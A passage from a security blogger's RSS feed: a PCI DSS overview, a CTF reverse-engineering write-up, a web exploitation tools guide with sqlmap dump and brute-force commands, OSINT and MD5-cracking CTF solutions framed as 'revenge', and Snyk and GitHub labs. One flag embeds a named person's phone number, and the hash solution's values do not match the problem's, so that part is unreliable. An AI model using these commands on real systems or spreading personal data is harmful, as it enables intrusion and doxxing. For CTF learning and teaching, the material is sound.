Maintain an Information Security Policy</h4><ul><li><strong>Requirement 12 (Policy):</strong> The final requirement ensures that information security is not just an IT task but a documented organizational policy. It covers risk assessments, employee usage policies, and the management of third-party service providers.</li></ul><h3>The Path to Compliance and Continuous Security</h3><p>Understanding the requirements is only half the battle; the other half is proving that you meet them. The validation process is not one-size-fits-all. It is dictated by the volume of transactions you process and the specific way you handle card data.</p><h4>Determining Your Merchant Level</h4><p>The major card brands (Visa, Mastercard, etc.) categorize merchants into four distinct levels based on transaction volume over a 12-month period.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/0*tah--6b8A5x1soDC.png" /></figure><ul><li><strong>Level 1:</strong> Merchants processing over 6 million transactions annually. This is the strictest tier.</li><li><strong>Level 2:</strong> Merchants processing between 1 million and 6 million transactions.</li><li><strong>Level 3:</strong> Merchants processing between 20,000 and 1 million e-commerce transactions.</li><li><strong>Level 4:</strong> Merchants processing fewer than 20,000 e-commerce transactions, or up to 1 million real-world transactions.</li></ul><p>While the <em>security requirements</em> (the 12 requirements discussed earlier) remain the same for everyone, the <em>validation method</em> changes drastically between levels.</p><h4>SAQ vs. ROC: How You Prove Compliance</h4><p>For most Level 1 merchants, self-assessment is not an option. They must undergo an onsite audit performed by a <strong>Qualified Security Assessor (QSA)</strong>. The QSA will verify every control physically and technically, resulting in a <strong>Report on Compliance (ROC)</strong>. This is a rigorous, time-consuming, and expensive process.</p><p>For merchants in Levels 2, 3, and 4, the card brands typically allow a <strong>Self-Assessment Questionnaire (SAQ)</strong>. This is a document where the merchant attests to their own compliance. However, there are different “flavors” of SAQ depending on your integration:</p><ul><li><strong>SAQ A:</strong> For e-commerce merchants who outsource <em>all</em> card data processing to a third party (like an iframe or redirect) and retain no card data.</li><li><strong>SAQ D:</strong> The “catch-all” questionnaire for merchants who store card data or don’t fit into other categories. It includes the full list of PCI DSS requirements.</li></ul><p>Choosing the wrong SAQ is a common compliance error. Filling out an SAQ A when you actually have a flattened network that impacts card data means you are attesting to a security posture you do not have.</p><h4>The Evolution: PCI DSS 4.0</h4><p>The standard recently underwent a major revision with version 4.0. The most significant shift in this update is the introduction of the <strong>“Customized Approach.”</strong></p><p>Previously, PCI DSS was very prescriptive (e.g., “You must use X technology”). Version 4.0 acknowledges that modern technology moves faster than standards bodies. The Customized Approach focuses on the <strong>objective</strong> of the security control rather than the method.</p><ul><li><em>Defined Approach:</em> The traditional method. You follow the requirement exactly as written.</li><li><em>Customized Approach:</em> You implement a different technical solution, provided you can prove it achieves the same security outcome. This is a game-changer for cloud-native organizations and those using cutting-edge architecture that doesn’t fit neatly into legacy boxes.</li></ul><h4>Moving Beyond “Checkbox Compliance”</h4><p>The most dangerous attitude toward PCI DSS is treating it as a yearly hurdle. “Compliance” is a point-in-time snapshot; “Security” is a continuous state.</p><p>Attackers often target organizations shortly after they are certified compliant, knowing that teams often relax their guard once the auditor leaves. A truly secure organization automates its compliance. They use tools to continuously monitor file integrity, automate patch management, and perform daily vulnerability scans — not because a rule says so, but because it protects the business.</p><p>PCI DSS should be viewed as the <em>floor</em>, not the <em>ceiling</em>. It provides the bare minimum framework required to operate safely in the digital economy. By adopting its principles into your daily engineering culture, you protect not just your compliance status, but your customer’s trust.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f8e00170f4c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[First Blood at 07CTF: How I Wrestled A Fishy Stack!]]></title>
            <link>https://medium.com/@olyhossen10/first-blood-at-07ctf-how-i-wrestled-a-fishy-stack-09bd46e8a8b9?source=rss-7a2084515620------2</link>
            <guid isPermaLink="false">https://medium.com/p/09bd46e8a8b9</guid>
            <dc:creator><![CDATA[Oly Hossen]]></dc:creator>
            <pubDate>Wed, 17 Sep 2025 03:00:38 GMT</pubDate>
            <atom:updated>2025-09-17T14:46:37.214Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By: Oly Hossen (R3D_ALPHA).</strong></p><h3>🚀 Challenge Overview</h3><p>The challenge was called A Stack of Fish.</p><p><strong>Description:</strong></p><p>What a great catch!!</p><p><strong>Hints:</strong></p><ul><li>What kinda fish?</li><li>What kinda stack (not the programming kind)?</li><li>We were given a single file: linux-rootfs.img. The game was afoot.</li></ul><p><strong>TL;DR</strong></p><ul><li>You’re given an ext4 rootfs image (linux-rootfs.img) containing an encrypted file encrypt.enc.</li><li>A custom base64 binary with a modified alphabet is used, so we map the custom alphabet back to standard Base64, translate and decode.</li><li>Decoding yields another ELF that expects an input file and a key. The key is reconstructed by traversing a tree of hex-named directories (DFS) and concatenating pieces.</li><li>Final decryption of a corrupted PNG with the assembled key reveals the flag:<br> 07CTF{H3H3H3H3H3H3_ts_was_fun_but_pmo_k1nda_guessy_ngl}</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*8wmn9v77gps7tWLPajD0ww.jpeg" /><figcaption>Challenge Flow</figcaption></figure><h3>🕵 First Clues: Mounting the Filesystem</h3><p>First things first, we had to identify our target. We used our trusty <strong>file</strong> command as our first weapon.</p><pre>file linux-rootfs.img</pre><p>📌 Output:</p><pre>linux-rootfs.img: Linux rev 1.0 ext4 filesystem data...</pre><p>✅ A standard ext4 filesystem. Easy enough. We simply mounted it to explore its contents:</p><pre>mount -o loop linux-rootfs.img /mnt/ctf<br>ls -lah /mnt/ctf</pre><p>Inside, we found a huge number of files. A recursive ls command was needed to map out the entire territory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*4NTTB0qqlP6cyazBapOuDQ.png" /><figcaption>Full directory</figcaption></figure><h3>🐟 Suspicious Catch: Finding encrypt.enc</h3><p>Among the noise, one file in the <strong>/home</strong> directory looked fishier than a sushi buffet at midnight.</p><pre>./hehe:<br>-rw-r--r-- 1 root root 22282 Aug 27 20:13 encrypt.enc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*8NUf6AcFtXZVxc6H12xhlg.png" /><figcaption>encrypt.enc</figcaption></figure><p>Hmmm… an <strong>encrypt.enc </strong>file. Clearly encrypted, but with what? The hunt was on.</p><p>Since this was a reverse engineering challenge, my gut told me there had to be an executable binary somewhere. After a bit of investigation in the <strong>/bin</strong> directory, one file stood out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f0CEHOQSCvxCpLNpmIQDhw.jpeg" /><figcaption>/bin directory had a suspicious base64 ELF.</figcaption></figure><h3>🔑 Cracking the Custom Base64</h3><h3>The Weapon</h3><p>The <strong>/bin</strong> directory was full of standard ELF files, but nearly all of them were just symlinks to busybox. However, one was special: <strong>base64</strong>. It was a standalone, independent executable. To make things even more interesting, running strings on encrypt.enc showed the classic ‘==’ padding at the end, confirming a Base64 connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*onqrs2k5ZmmLjPAf01GvNQ.png" /><figcaption>Base64 connection</figcaption></figure><h3>The Analysis</h3><p>Time to fire up Ghidra and crack this ELF open like a crab shell 🦀. The analysis revealed our first major breakthrough:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ClKxsiDLKcsjO1BqIxAUHg.png" /><figcaption>Custom base64.</figcaption></figure><p>⚠ This was a custom Base64 encoding challenge!</p><p>The binary used a non-standard, modified alphabet for its encoding process.</p><p><strong>The Corrupted Alphabet:</strong></p><pre>Kt2WbjgznFPs4OUGhT01RJ8doyYur+5/qxvBD9QCc6p3SNf7wlHAkiXZeamVEILM+/</pre><h3>The Plan</h3><p>Our mission was now clear:</p><ul><li><strong>Build a translation map:</strong> Map each character from the custom alphabet to its corresponding character in the standard Base64 alphabet (A-Z, a-z, 0–9, +, /). For example, K becomes A, t becomes B, and so on.</li><li><strong>Translate the file:</strong> Systematically replace every character in encrypt.enc using our new map.</li><li><strong>Decode:</strong> Feed the newly translated (and now standard) Base64 content into any standard decoder to get the original data.</li></ul><h3>The Code</h3><p>I quickly wrote a Python script to automate the decryption.</p><pre>import base64 <br>import sys </pre><pre># The standard Base64 alphabet <br>standard_alphabet = <br>&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&quot; </pre><pre># The custom alphabet from the decompiled binary <br>custom_alphabet = <br>&quot;Kt2WbjgznFPs4OUGhT01RJ8doyYur+5/qxvBD9QCc6p3SNf7wlHAkiXZeamVEILM&quot; # Sliced to <br>64 chars </pre><pre># Create the translation table to map custom chars to standard ones <br>translation_table = str.maketrans(custom_alphabet, standard_alphabet) </pre><pre>try: <br>    # Read the encoded file <br>    with open(&#39;encrypt.enc&#39;, &#39;r&#39;) as f: <br>        encoded_content = f.read() </pre><pre>    # Translate from the custom alphabet to the standard one </pre><pre>    standard_b64_content = encoded_content.translate(translation_table) </pre><pre>    # Decode the now-standard Base64 content </pre><pre>    decoded_data = base64.b64decode(standard_b64_content) </pre><pre>    print(&quot; </pre><pre>🎉 Success! Decoded content: </pre><pre>&quot;) </pre><pre>    # Save the output to a new file </pre><pre>    output_filename = &#39;decoded_output.bin&#39; </pre><pre>    with open(output_filename, &#39;wb&#39;) as out_file: </pre><pre>        out_file.write(decoded_data) </pre><pre>    print(f&quot;Decoded data saved to binary file: &#39;{output_filename}&#39;&quot;) </pre><pre>except Exception as e: <br>    print(f&quot;An error occurred: {e}&quot;)</pre><p>✅ <strong>Success!</strong> The script worked perfectly, spitting out not a flag, but <strong>another ELF file!</strong></p><h3>🧩 The Final Puzzle: A New ELF and a Missing Key</h3><p>Opening the new <strong>decoded_output.bin</strong> file in Ghidra gave me chills — it was a very simple program. Its logic was straightforward:</p><ul><li>It takes an <strong>input file</strong> and <strong>a key</strong>.</li><li>It performs<strong> encryption</strong> or <strong>decryption</strong>.</li></ul><p>We needed to <strong>decrypt</strong>, but we were missing both the input file and the key. This is where I got stuck for a solid 5 hours… and started questioning my life choices.</p><p>Then, a hint dropped : a corrupted <strong>PNG</strong> file. That had to be our input file. But where was the key?</p><p>I had to backtrack. In the original filesystem, there was a peculiar directory named <strong>this_looks_interesting</strong> full of folders with hexadecimal names.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4uCuqYu3rlaedaOuZCCuNQ.jpeg" /><figcaption>Hex directory names to generate the key.</figcaption></figure><p>This must be the key, scattered across the directory structure!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*onV50viZb0xntv6AmmrZMg.png" /><figcaption>Key Directory</figcaption></figure><p>The key was hidden in a tree of these directories. I used my data structures knowledge, applied a <strong>Depth-First Search (DFS)</strong> traversal, and assembled the full key.</p><p><strong>The Final Key:</strong></p><pre>f8a5621721846cbaff2f86197af7df0be2dbb220eeb1259f508acba085ddbc0ae498a056<br>4317a190e53e9b75124e05e4030328799c1616508e39b69ed6d4f2fba712a189d103eff<br>78efdbd701ce4aa6c</pre><p>We finally had everything we needed.</p><h3>🎉 The Flag</h3><p>With the second ELF file, the corrupted PNG as input, and our assembled key, we ran the final decryption process:</p><pre>./decoded_output.bin corrupted.png final_key.txt</pre><p>📌 Where:</p><ul><li>decoded_output.bin → the second ELF we obtained from Base64 decoding.</li><li>corrupted.png → the input image given in the hints.</li><li>final_key.txt → a text file containing the reconstructed key (assembled with DFS).</li><li>The corrupted image became visible, revealing the flag.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SfY_C1I4hIadkICUYDNEOw.jpeg" /><figcaption>Finally the flag!</figcaption></figure><p><strong>The Flag:</strong></p><pre>07CTF{H3H3H3H3H3H3_ts_was_fun_but_pmo_k1nda_guessy_ngl}</pre><p>And that’s how we speared the fish, untangled the stack, and grabbed the flag! A massive kudos to the challenge author for this brutal but fun nightmare. What a ride!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=09bd46e8a8b9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Essential Web Exploitation Tools: A Beginner-Friendly Guide]]></title>
            <link>https://medium.com/@olyhossen10/essential-web-exploitation-tools-a-beginner-friendly-guide-b6d511400594?source=rss-7a2084515620------2</link>
            <guid isPermaLink="false">https://medium.com/p/b6d511400594</guid>
            <dc:creator><![CDATA[Oly Hossen]]></dc:creator>
            <pubDate>Sun, 04 May 2025 07:46:57 GMT</pubDate>
            <atom:updated>2025-05-04T07:46:57.708Z</atom:updated>
            <content:encoded><![CDATA[<p>To find and exploit web vulnerabilities, ethical hackers and CTF players use a set of powerful tools. This guide gives a quick overview of the most essential web exploitation tools — what they do, when to use them, and example commands to get started.</p><p>1. Burp Suite (Community &amp; Pro)</p><p>Purpose: Intercept, inspect, and modify web traffic.</p><p>Highlights:</p><p>Intercept requests/responses (Proxy)</p><p>Send repeatable requests (Repeater)</p><p>Automate fuzzing/brute-force (Intruder)</p><p>Built-in vulnerability scanner (Pro only)</p><p>Encode/decode functions</p><p>Use Cases:</p><p>Cookie/session hijacking</p><p>XSS, SQLi, IDOR testing</p><p>API testing</p><p>Quick Example:</p><p>Set your browser to proxy 127.0.0.1:8080</p><p>Intercept a request and change admin=false to admin=true</p><p>2. curl (Command-Line HTTP Client)</p><p>Purpose: Make HTTP requests from your terminal.</p><p>Highlights:</p><p>Supports GET, POST, headers, cookies, and auth</p><p>Lightweight and scriptable</p><p>Use Cases:</p><p>API testing</p><p>SSRF/LFI exploitation</p><p>Fetching files</p><p>Examples:</p><p>curl http://example.com curl -X POST -d &quot;user=admin&amp;pass=123&quot; http://example.com/login curl -b &quot;session=abcd1234&quot; http://example.com/dashboard curl -o flag.txt http://example.com/flag</p><p>3. Postman</p><p>Purpose: Test and automate API calls in a user-friendly GUI.</p><p>Highlights:</p><p>Great for REST APIs</p><p>Supports scripting and automation</p><p>Use collections, environments, and tokens</p><p>Use Cases:</p><p>Auth testing</p><p>API fuzzing</p><p>Replaying API logic</p><p>Example Flow:</p><p>Send GET to /api/users → extract token</p><p>Use token in POST to /api/admin</p><p>4. sqlmap</p><p>Purpose: Automatically detect and exploit SQL injection.</p><p>Highlights:</p><p>Supports many database engines</p><p>Dumps data, bypasses WAFs</p><p>Can gain shell access via SQLi</p><p>Examples:</p><p>sqlmap -u &quot;http://example.com/page?id=1&quot; sqlmap -u &quot;http://example.com/page?id=1&quot; --dbs sqlmap -u &quot;http://example.com/page?id=1&quot; -D mydb -T users --dump</p><p>5. OWASP ZAP</p><p>Purpose: Open-source web app vulnerability scanner.</p><p>Highlights:</p><p>Automated scanning</p><p>Manual tools for pen-testing</p><p>API security testing</p><p>Use Cases:</p><p>Find XSS, SQLi, CSRF</p><p>Crawl/spider websites</p><p>Test apps with HUD overlay</p><p>6. Gobuster / DirBuster</p><p>Purpose: Find hidden files and directories on a website.</p><p>Highlights:</p><p>Bruteforce URLs and paths</p><p>Supports file extensions and wordlists</p><p>Examples:</p><p>gobuster dir -u http://example.com -w /path/to/wordlist.txt gobuster dir -u http://example.com -w wordlist.txt -x php,html,txt</p><p>7. Nikto</p><p>Purpose: Scan web servers for known vulnerabilities and misconfigurations.</p><p>Highlights:</p><p>Scans for 6,000+ issues</p><p>Detects outdated software</p><p>Example:</p><p>nikto -h http://example.com</p><p>8. Wfuzz</p><p>Purpose: Brute-force parameters, endpoints, and logins.</p><p>Highlights:</p><p>Flexible payload injection</p><p>Filter by response status/length</p><p>Example:</p><p>wfuzz -c -z file,wordlist.txt --hc 404 http://example.com/FUZZ</p><p>9. Browser DevTools (Chrome/Firefox)</p><p>Purpose: Inspect and modify front-end behavior.</p><p>Highlights:</p><p>View HTTP traffic (Network tab)</p><p>Run scripts in Console</p><p>Inspect cookies, storage</p><p>Use Cases:</p><p>Debug XSS</p><p>Modify front-end logic</p><p>Read JWTs and tokens</p><p>Comparison Table</p><p>ToolBest ForCLI/GUIBurp SuiteManual interception/fuzzingGUIcurlQuick HTTP requestsCLIPostmanAPI testing and automationGUIsqlmapSQL injection exploitationCLIOWASP ZAPAutomated scanningGUIGobusterDirectory discoveryCLIWfuzzParameter brute-forcingCLI</p><p>Final Thoughts</p><p>These tools are must-haves for any web hacker or CTF player. Learning them helps you:</p><p>Find bugs faster</p><p>Automate exploitation</p><p>Harden apps against attacks</p><p>Next Steps:</p><p>Practice on labs like DVWA, WebGoat, or HackTheBox</p><p>Try combining tools (e.g., gobuster + sqlmap)</p><p>Stay updated with new CVEs and tool updates</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b6d511400594" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Problem Statement: "The Ghost Seller of Eid"]]></title>
            <link>https://medium.com/@olyhossen10/problem-statement-the-ghost-seller-of-eid-4af5351c23cb?source=rss-7a2084515620------2</link>
            <guid isPermaLink="false">https://medium.com/p/4af5351c23cb</guid>
            <dc:creator><![CDATA[Oly Hossen]]></dc:creator>
            <pubDate>Sat, 29 Mar 2025 11:42:32 GMT</pubDate>
            <atom:updated>2025-03-29T11:54:25.191Z</atom:updated>
            <content:encoded><![CDATA[<p>Problem Statement: &quot;The Ghost Seller of Eid&quot;</p><p>Story: As millions prepare to reunite with loved ones this Eid, a sinister figure lurks in the shadows—an invisible ticket seller who leaves no trace after taking desperate buyers’ money. He operates in broad daylight, yet no one truly knows who he is.</p><p>Victims report that he promised tickets for any route and vanished after receiving payments via bKash. Some say he posted in popular ticket-buying groups, others claim he contacted them directly. But one thing is clear—he&#39;s still out there, preying on unsuspecting travelers.</p><p>The only clue we have? A screenshot of Facebook post linked to the scam. Somewhere in the depths of social media, his digital footprint exists. Your task is to track him down and expose his identity before he vanishes for good.The scam was reported in a news article. Find it.</p><p>Flag Format: RCSC{Full_Name_Phone_No.} Example: RCSC{OLY_Hossen_01234567890}</p><p>Actual Flag: RCSC{Abdur_Rahim_01766053958}</p><p>Solution:</p><p>Problem mentioned a train ticket scam of Eid. Simply searching Train ticket scam to google will lead us numerous news about scam. Inside the news we will find full version of the given screenshot where name and number is mentioned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ggrv8MYuScHNYVJEqJzjbw.jpeg" /><figcaption>Screenshot of the post from article.</figcaption></figure><p>Problem Title: &quot;Copy-Paste Hackers vs. The Real Deal&quot;</p><p>Storyline:</p><p>Last month, your friend’s account was hacked. A bunch of so-called “hekars” (wannabe hackers) broke in, but upon investigating, you realized that they weren’t skilled at all—they simply used breached passwords from the dark web to gain access.</p><p>Your friend is furious. “We have to retaliate!” he says.</p><p>With a bit of OSINT work, you track them down and discover their own breached password database. Sweet revenge? Maybe. But there’s a problem—their passwords are hashed.</p><p>From the IP addresses used in their attacks, you find two hackers with distinct personalities:</p><p>The Book Lover – Talks a lot about the greatest books ever written. His password must be a book title. Password hash is : 6666b598c1b9b23152e1e0ecebfc30f2</p><p>The Birth Month Obsessed – Always mentions his birth month, but he’s slightly cautious and probably added numbers and special characters. Password hash : a7979b5844dd05025ece3fb2bfa9132b</p><p>Now, it’s time to crack their hashes and show them what real hacking looks like.</p><p>The flag is RCSC{Password1_Passowrd2}.</p><p>Example: RCSC{Game_Of_Thrones_J@nu4ry&amp;%}</p><p>Actual flag: RCSC{Invisible_Man_F3bruary1@}</p><p>Writeup:</p><p>Solution Steps for the Hashing CTF Problem:</p><p>Identify the Hashing Algorithm:</p><p>Recognize that the hashes are generated using the MD5 hashing algorithm.</p><p>Create a Wordlist:</p><p>Based on the hints provided:</p><p>For the book lover: the password might be related to famous books</p><p>For the birth month lover: the password is likely related to their birth month.</p><p>Alternatively, use online wordlist generators or pre-made wordlists (e.g., from SecLists or custom wordlists) to create a list of potential passwords.</p><p>Use a Tool to Crack the Hashes:</p><p>Use a hashing tool like John the Ripper or Hashcat to perform brute-forcing on the given MD5 hashes.</p><p>Command for John the Ripper (example): john --format=raw-md5 --wordlist=your_wordlist.txt hashed_passwords.txt</p><p>Or using Hashcat: hashcat -m 0 -a 0 hashed_passwords.txt your_wordlist.txt</p><p>Match the Hashes:</p><p>Compare the results to the given hashes to find the corresponding plaintext passwords:</p><p>d4eea9039c78f8e8b557e7ee9a49b177 → invisible_man</p><p>2c6e63b5c81a6070f205c02c6bb2f8b0 → F3bruary1@</p><p>Extract the Flag:</p><p>Once you crack both passwords, format the flag as: RCSC{invisible_man_F3bruary1@}.</p><p>Final Flag Example:</p><p>RCSC{invisible_man_F3bruary1@}</p><p>Problem name : Portable Document Format</p><p>Problem Statement:</p><p>This Eid, the world is brimming with joy, families and friends celebrating the festival in peace and happiness. But there is one country where Eid means no celebration, no peace – only the sound of bombs in the distance and the constant threat of destruction. Amid this chaos, a group rises from the shadows, fueled by anger and the desire for justice. They are not an ordinary resistance; they wage war in the digital realm. Their mission: to free the oppressed, to disrupt the systems that enforce their suffering, and to reclaim the freedom of their people.</p><p>Recently, this group made a bold statement: they claimed responsibility for a powerful DDoS attack that brought down one of the world’s most popular social media platforms. Their message was clear – they would stop at nothing to fight back.</p><p>But who are they? Who leads this digital rebellion, and what is their true identity? What’s even more dangerous is that one of their members is offering their weaponized DDoS attacks to the highest bidder, selling access to their destructive power. It’s up to you to uncover their name, track down their digital footprints, and identify the username of the individual responsible for selling their attacks.</p><p>Flag Format : RCSC{USERNAME}</p><p>Example: RCSC{OSAM123}</p><p>Actual flag: RCSC{MRHELL112}</p><p>Writeup:</p><p>Clue 1: The group rises from the shadows during Eid, with a specific mention of Palestine as a region where Eid is marked by violence, rather than celebration. This hints that the group’s cause is connected to Palestinian resistance.</p><p>Clue 2: The group is described as a digital resistance, suggesting that they perform cyberattacks in support of their cause.</p><p>Clue 3: The group recently attacked a popular social media site and claimed responsibility for the attack</p><p>By searching a little bit it is evident that the group name is &quot;Dark Storm&quot;. Searching the username is little bit tough. But little bit of google dorking with</p><p>&quot; Dark Storm Team filetype:pdf&quot; will lead us to a pdf that is about the team. There is a screenshot of telegram chat where we can easily see the username named &quot;MRHELL112&quot;.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*YaCpaPxFWFMpNZF5QBoqyQ.jpeg" /><figcaption>Screenshot of the telegram post.</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4af5351c23cb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hands-on Lab: Scanning Your Code Repository with Snyk]]></title>
            <link>https://medium.com/@olyhossen10/hands-on-lab-scanning-your-code-repository-with-snyk-00ccf9ca6bb5?source=rss-7a2084515620------2</link>
            <guid isPermaLink="false">https://medium.com/p/00ccf9ca6bb5</guid>
            <dc:creator><![CDATA[Oly Hossen]]></dc:creator>
            <pubDate>Wed, 05 Mar 2025 18:17:49 GMT</pubDate>
            <atom:updated>2025-03-05T18:17:49.550Z</atom:updated>
            <content:encoded><![CDATA[<p>Hands-on Lab: Scanning Your Code Repository with Snyk</p><p>Estimated Time: 30 Minutes</p><p>Securing your code is a critical step in modern software development. In this hands-on lab, you will learn how to use Snyk, a powerful tool for scanning your GitHub repositories for vulnerabilities. Pronounced as Sneak, Snyk helps identify security issues in your code and dependencies, ensuring your projects remain safe from potential threats.</p><p>Learning Objectives</p><p>By the end of this lab, you will be able to:</p><p>✅ Scan your GitHub repository for security vulnerabilities<br>✅ Analyze the vulnerability report generated by Snyk</p><p>Prerequisites</p><p>Before you begin, ensure you have the following:</p><p>🔹 A GitHub account – If you don’t have one, sign up at <a href="https://github.com/join">GitHub</a>.<br>🔹 At least one repository – If you don’t have any, you can create a new one or fork an existing public repository like <a href="https://github.com/bitnami/containers">Bitnami Containers</a>.</p><p>Step 1: Signing into Snyk</p><p>Snyk offers free vulnerability scanning for code repositories. To get started:</p><p>Open your browser and go to <a href="https://app.snyk.io/login">Snyk Login</a>.</p><p>Click Login with GitHub.</p><p>If prompted, enter your GitHub credentials to sign in.</p><p>Authorize Snyk to access your GitHub repositories.</p><p>If asked about product updates, click No, not right now to continue.</p><p>Step 2: Connecting Your GitHub Repository to Snyk</p><p>Now that you&#39;re logged in, it&#39;s time to link your GitHub repositories:</p><p>On the Snyk dashboard, click Add Projects.</p><p>Select GitHub as the source of your code.</p><p>Choose Public repositories only (unless you want to scan private ones).</p><p>Click Authenticate GitHub and then Authorize Snyk to proceed.</p><p>Step 3: Scanning Your Code Repository</p><p>Once GitHub is linked, follow these steps to scan a repository:</p><p>Click GitHub in the Add Projects section.</p><p>A list of your public repositories will appear—select one to scan.</p><p>Click Add Selected Repositories to Scan.</p><p>Wait for the scan to complete. This may take a few minutes, depending on your repository size.</p><p>💡 Alternative Method:</p><p>You can also manually scan a public repository by selecting Monitor public GitHub repos.</p><p>Enter the URL of the repository (e.g., https://github.com/bitnami/containers).</p><p>Click Add Repo and then Import 1 Repository to begin scanning.</p><p>Step 4: Reviewing the Scan Report</p><p>Once the scan is complete, Snyk generates a detailed security report:</p><p>🔸 Critical vulnerabilities – Must be fixed immediately<br>🔸 High-priority vulnerabilities – Pose significant security risks<br>🔸 Medium-priority vulnerabilities – Moderate impact but should be addressed<br>🔸 Low-priority vulnerabilities – Minor risks that can be fixed later</p><p>Review the report carefully to understand potential security flaws in your code.</p><p>Next Steps</p><p>Now that you’ve successfully scanned a repository, you can:</p><p>✅ Scan more repositories to ensure code security.<br>✅ Fix vulnerabilities by following Snyk’s recommendations.<br>✅ Set up continuous monitoring so Snyk automatically scans your repositories.</p><p>Conclusion</p><p>Congratulations! You have completed your first Snyk vulnerability scan. By integrating security checks into your workflow, you can proactively detect and fix security issues before they become major problems.</p><p>Keep practicing by scanning different repositories and improving your code security. Happy coding!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=00ccf9ca6bb5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab: Getting Started with GitHub (Optional)]]></title>
            <link>https://medium.com/@olyhossen10/lab-getting-started-with-github-optional-ea4b110f38f0?source=rss-7a2084515620------2</link>
            <guid isPermaLink="false">https://medium.com/p/ea4b110f38f0</guid>
            <dc:creator><![CDATA[Oly Hossen]]></dc:creator>
            <pubDate>Wed, 05 Mar 2025 18:10:14 GMT</pubDate>
            <atom:updated>2025-03-05T18:10:14.331Z</atom:updated>
            <content:encoded><![CDATA[<p>Lab: Getting Started with GitHub (Optional)</p><p>Introduction</p><p>GitHub is one of the most widely used platforms for version control and collaboration in software development. It allows developers to manage their code, track changes, and collaborate with others efficiently. However, before diving into GitHub, it&#39;s essential to understand Git.</p><p>Git is an open-source distributed version control system that enables developers to keep track of changes in their code. Unlike centralized version control systems, Git allows each team member to have a local copy of the project, ensuring that everyone works with the latest version.</p><p>GitHub extends Git by providing an online interface for managing repositories, collaborating with others, and integrating with various tools. In this lab, you will learn the basics of GitHub, including:</p><p>Creating a GitHub account</p><p>Setting up a private repository</p><p>Creating and editing files within a repository</p><p>Forking an existing repository</p><p>By the end of this guide, you will have a solid foundation to work with GitHub and explore more advanced features.</p><p>What You Need</p><p>To complete this lab, you only need:</p><p>A web browser</p><p>A valid email address to create a GitHub account</p><p>GitHub provides all the tools required, so no additional software installation is needed.</p><p>Task 1: Creating a GitHub Account</p><p>To get started with GitHub:</p><p>Open your web browser and go to <a href="https://github.com/join">GitHub&#39;s sign-up page</a>.</p><p>Enter your username, email address, and password.</p><p>Click Continue and solve the CAPTCHA puzzle to verify you are not a bot.</p><p>Check your email for a verification code, enter it, and click Submit.</p><p>On the Welcome to GitHub page, scroll to the bottom and select Skip personalization to go directly to your GitHub dashboard.</p><p>Your GitHub account is now ready! The dashboard will display recent activity and allow you to track project issues.</p><p>Task 2: Creating a Repository</p><p>Repositories are where GitHub stores your project files. To create your first repository:</p><p>Click Create repository from your GitHub dashboard.</p><p>Fill in the repository details:</p><p>Repository name: Type test.</p><p>Visibility: Select Private to control access.</p><p>Initialize repository: Check the box Add a README file.</p><p>Click Create repository.</p><p>You have successfully created a new GitHub repository. The repository homepage will display options to manage files and folders.</p><p>Task 3: Creating and Editing a File</p><p>Now, let&#39;s add a new file to your repository:</p><p>Click Add File, then select Create new file.</p><p>In the filename field, type helloworld.py.</p><p>Copy and paste the following code:</p><p># This file will print Hello, world! print(&quot;Hello, world!&quot;)</p><p>Scroll down to the Commit new file section.</p><p>Ensure Commit directly to the main branch is selected, then click Commit new file.</p><p>Your file is now saved in the repository. To edit it:</p><p>Click on helloworld.py from the repository homepage.</p><p>Click the pencil (edit) icon.</p><p>Make any changes to the file, then scroll to the Commit changes section.</p><p>Ensure Commit directly to the main branch is selected, then click Commit changes.</p><p>By committing changes, you save a new version of the file while keeping track of previous versions. In a collaborative environment, you would create a pull request (PR) to notify others of your changes before merging them into the main project.</p><p>Task 4: Forking a Repository</p><p>Forking allows you to create a copy of someone else&#39;s repository to modify it without affecting the original project. To fork a repository:</p><p>Open your browser and go to <a href="https://github.com/bitnami/containers">Bitnami Containers Library</a>.</p><p>Click Fork at the top-right corner of the repository.</p><p>On the Create a new fork page:</p><p>In the Repository name field, type bitnami.</p><p>Click Create fork.</p><p>Click your profile icon and select Your repositories.</p><p>Now, you will see two repositories in your account:</p><p>test (your own repository)</p><p>bitnami (your forked repository)</p><p>This forked repository allows you to modify and experiment with the code without changing the original repository.</p><p>Conclusion</p><p>Congratulations! You have successfully taken your first steps with GitHub. In this lab, you:</p><p>Created a GitHub account</p><p>Set up a private repository</p><p>Created and edited a file within your repository</p><p>Forked an existing repository</p><p>These skills are essential for working on collaborative projects, contributing to open-source software, and managing your code efficiently.</p><p>Now that you&#39;re familiar with GitHub, you can explore its more advanced features, such as branches, pull requests, and integrations with other tools.</p><p>Happy coding!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ea4b110f38f0" width="1" height="1" 